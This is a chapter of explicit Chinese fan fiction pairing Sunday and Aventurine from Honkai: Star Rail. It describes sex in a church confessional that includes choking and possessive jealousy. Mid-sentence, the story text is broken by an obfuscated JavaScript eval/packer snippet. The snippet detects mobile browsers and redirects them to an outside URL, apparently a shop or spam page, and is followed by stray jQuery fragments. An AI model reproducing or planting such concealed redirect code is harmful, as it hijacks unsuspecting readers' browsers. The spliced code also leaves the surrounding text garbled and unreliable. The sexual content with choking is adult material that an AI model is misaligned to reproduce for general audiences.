28.圣堂,从深处求告
作品:《[崩铁]渴望》 砂金还在絮絮叨叨地说些什么,大约又是在埋怨自己凶他。星期日却认为这是砂金自作自受,谁叫他一天净做些让人妒恨的事。
他将那拉开一点缝隙的门合上,紧紧盯住那置于砂金胸脯中央一摇一晃的翡翠吊坠。
比起不显怀的肚子,砂金的胸倒是更为坦诚,本应在孕中期才显形的胸脯,如今才两个多月就已逐渐肿胀起来。
但砂金指责,那只是因为他每天都咬才这样的。
不愧是蠢狐狸,孩子都揣了几个月,对自己的身体变化仍旧一无所知。
再过几个月,他就等砂金哭丧着脸捧着胸往自己嘴里送,哭哭啼啼地叫唤老公,胸疼得睡不着怎么办?
砂金就掀开给星期日看了这么一瞬,又立刻将斗篷拢得紧实,走到门边想拉开,垂眼一瞧,却见他按住门板,目光灼灼地盯着自己看。
此时,窗外的信徒连声呼唤数次未得回音,大着胆子敲了敲窗户。
星期日冷声作答,说自己现有要事处理,暂停告解。
想出去的人没能出去,想得到宽恕的人没能求得谅解,外面传来窸窣几声,脚步声渐行渐远,伴随大门的沉闷紧闭之音,这里彻底的安静了下来。
星期日一把搂过砂金将他放在桌上,扯开这碍眼的长袍,拎着丢到椅子上,掐住他的脖子,狠声道:“你竟然就穿这么轻飘飘的一身从家里跑到圣堂来?你是不是欠男人收拾了?想着在街上.......”
砂金扇了星期日一巴掌,激动地像是在证明自己的忠贞:“我让加拉赫送我来的!你又乱七八糟地想什么??”
“我难道是个傻子吗?随随便便就给别人看去!”
砂金说着,语气忽然又软和下来,搂住星期日的脖子,整个人都往他身上靠:“我是老公的,我只给你看。”
但我先奖励一下你的优秀下属这没关系吧!有一说一,他□□比你好!
“你跟他......”
“你有病呀?!”
砂金怒不可遏:“你说我一天招蜂引蝶,我看是你自己心里脏所以想什么都脏!你一想到我就只有那档子事吧!所以才总是猜疑我只要跟别的男人在一起是不是就做这些了!!”
不好意思老公,我就是这么一个人啦!没人叫你娶我,是你自己非要给自己找罪受!现在好了,老实受着吧!
星期日把砂金推到一旁,掰开了他的腿。
砂金倚在窗户上,那条条框框的栏栅硌得他后背哪哪都不舒服,便坐在桌上扭来扭去的,被对方咬了一下。
星期日含混不清道:“乱动什么?下面痒,上面也痒?”
砂金把堆在腰间的裙子聚拢拂到一旁,揉了揉星期日埋在腿间的脑袋,柔声道:“老公,窗户硌得我背疼,抱抱我。”
“抱你,那没办法让你舒坦了。”星期日一只手抓着砂金的大腿,一只手伸过来去勾砂金的手指。
“我不舒坦呀,我背疼,肯定都有淤青了,我舒坦什么?我难受呀,老公我真的难受。”
砂金坐在桌上又开始了晃动,许是真的禁不起碰,砂金那悬着的腿也没闲着,蹬着往星期日肩上身上踹。
“抱抱我老公,你疼疼我行吗?抱一抱我。”砂金到处乱拽,要不扯他的头发要不扯他的翅膀。
星期日被对方这样翻来覆去逼得没法,只能被迫从腿中间探出头来,把砂金拽过来抱在自己怀里。
他将砂金的肩带垮下去,边摸边看,除了被硌得有点泛红外,根本没什么事,连一点破皮的地方都没有。
还真是除了床上,哪儿也待不了的娇气公主。
“你难受什么?我看你乐得正欢!”
星期日越想越气,嫉妒自己的手又嫉妒自己的嘴,气到生厌,厌恶砂金这脆弱敏感的身子,若不是迟迟没稳住胎儿,他又何苦需要如此忍耐。
快接近三个月了,砂金完全没有任何的孕反症状,比家里所有人看上去都精神,有时候掀开纱帘一看,只觉对方如同被养在宅中以吸人精气为生的媚怪一般。
砂金恹恹哼唧几声:“你究竟想不想我?”
“.......想。”星期日虽没得到满足,但也算是尝了个味,便想着哄哄对方也并无不好。
“什么时候想?”砂金靠在星期日胸膛,将自己额头的细汗擦在他衣服上。
星期日怕狐狸不小心被自己衣领别着的胸针弄伤,便将砂金的碎发往两侧拂开,拢着衣袖给对方擦汗。
天天在浴室里泡这么久的澡,难怪连流出来的汗都是香的。
“什么时候都想。”
星期日将砂金汗津津的脖颈也擦了一圈,把垮到腰间的裙子给他穿好,将自己身上的长袍解下紧裹砂金,唯恐他又忽然发烧或感冒。
“见到我也想?”
“见到你更想。”
“想我什么?”
“想还是让你孩子怀早了,就应该把你锁在床上玩够了再生。”
星期日系好衣领纽扣,将砂金稍显凌乱的头发用手指梳理整齐,他把砂金抱在桌上坐着,听见砂金问:“你让我空着回去呀?”
他忍下怒意,故意往外扯开砂金的腿,给对方穿好内裤,这才咬牙道:“再胡说,真让你空着回去,裙子也别穿了,你就裹着我的衣服这么走回去。”
“老公现在说话好色情哟,一点也不像什么司铎。”
砂金挪着屁股往桌边上缩,星期日怕这蠢货在巴掌大点的地方也能把自己摔着,便伸出手掌抬住了砂金的臀部。
“我就这么走出去,大家都知道是你把我弄得这么惨,会在心里面偷偷骂你的!”砂金将脑袋靠在星期日手臂上。
你要真这么走出去,大家只会在心里面妒忌我能够拥有你。
星期日掐住砂金的下巴,低头亲吻。
砂金的腿又在不安分地摇晃,往他腿里轻轻一蹭,咬了下他的舌尖,问道:“我的小老公是不会软下去吗?”
星期日无语凝噎,面容沉重地盯着对方看。
“你是不是生病了?”砂金睁着那双楚楚可怜的眼睛凝视他。
星期日捏着砂金的脸晃了晃:“天天窝在书房里看书,不知道你在看什么,怎么说话还是这副德行。”
“老公,什么时候下班呀,我们可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16755062|187023||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以一起回去吗?”
砂金向来如此,只顾把自己的话说完后,就又蹦去别的话题了,他人的话一贯不管。
星期日对砂金这副装傻充愣的样子心痒痒,把砂金从桌上拖下去,抱在臂弯中拍了一下他的屁股。
两人刚钻出来,就听见同时响起的推门声,年迈但具威严的声音在空荡的大厅里响起:“大人,今日数位信徒向我反馈您似乎身体抱恙且有要事在忙,可否询问是因何事而耽误进程?”
星期日将砂金放下,拢了拢裹在对方身上的外袍。
他比砂金高壮一些,那长袍穿在砂金身上便直往地上拖,松松垮垮,衬得砂金更是纤弱。
伊利亚走近,却发现还有外人在场,他正疑惑来者何人,却看星期日挡在对方面前,把那人遮得严实,只能瞧见一角白色长袍。
“抱歉伊利亚先生,我夫人突然有事找我,便暂停了告解。明日我会再来此处将耽误的进程补上,愿神的辉泽同等赐福于茫然众生。”
“砂金先生,还好吗?你与大人算是奉子成婚,可是腹中之子令你难耐?”伊利亚偏头向后面望去。
砂金从星期日身后探出个脑袋,笑眯眯地说:“感谢先生挂怀,我很好哟!我只是太想他了,才来这里找他!不好意思,打扰你们工作了,以后我会提前问清楚再来的!”
伊利亚意味深长地扫视着砂金只露了一半的脸,缓缓道:“有空常来,圣堂欢迎每一位子民的祈祷。”
随后,他转身离开了大厅。
星期日垂眸看向拽着自己衣袖的砂金,轻言低语:“不是问我项链戴着是否好看才来的吗?怎么现在又说是想我才来?你嘴里可有一句真话?”
“都是真心话呀!我想你来看我戴的项链如何。”砂金张开手臂去搂星期日,摇来晃去,“好看吗?老公,你还没有回答我呢!”
“好看。”
“多好看?”
“最好看。”
星期日把砂金的手臂拽下去,裹紧在这密不透风的长袍里,抱住了他。
“那老家伙肯定在想我们是不是在他神圣的告解室里乱搞了。”砂金伸出那嫣红水润的舌尖轻舔唇珠。
“此乃圣堂,注意言行。”星期日低头含住了那一截舌尖。
“老公,你说我们那叫乱搞吗?”
“不算。”星期日咽下唾沫。
“怎么不算?”
“你是我明媒正娶的妻子,夫妻欢好为何称为荒淫之事?”星期日吸吮砂金的嘴唇,舔到了一点翘起的皮屑,便对砂金说,“等会去偏厅喝点水再走。”
“家主大人真会给自己找理由!”砂金嘀咕道。
砂金转动眼珠,看见伊利亚走出大厅没几步停了下来,那彩窗印出了他浅淡的身形。
他知道对方肯定能够看清他们之间的动作,就像星期日隔着衣袍抚摸自己后背的手,就像这个难舍难分的吻。
砂金推开星期日,故意勾着舌尖扯出一缕黏腻的涎丝,绕着嘴唇舔了一圈,笑着偏头望去,冲那阴影之处挥了挥手。
那淡薄的影子消散,外面的光又轻浅照映进来。

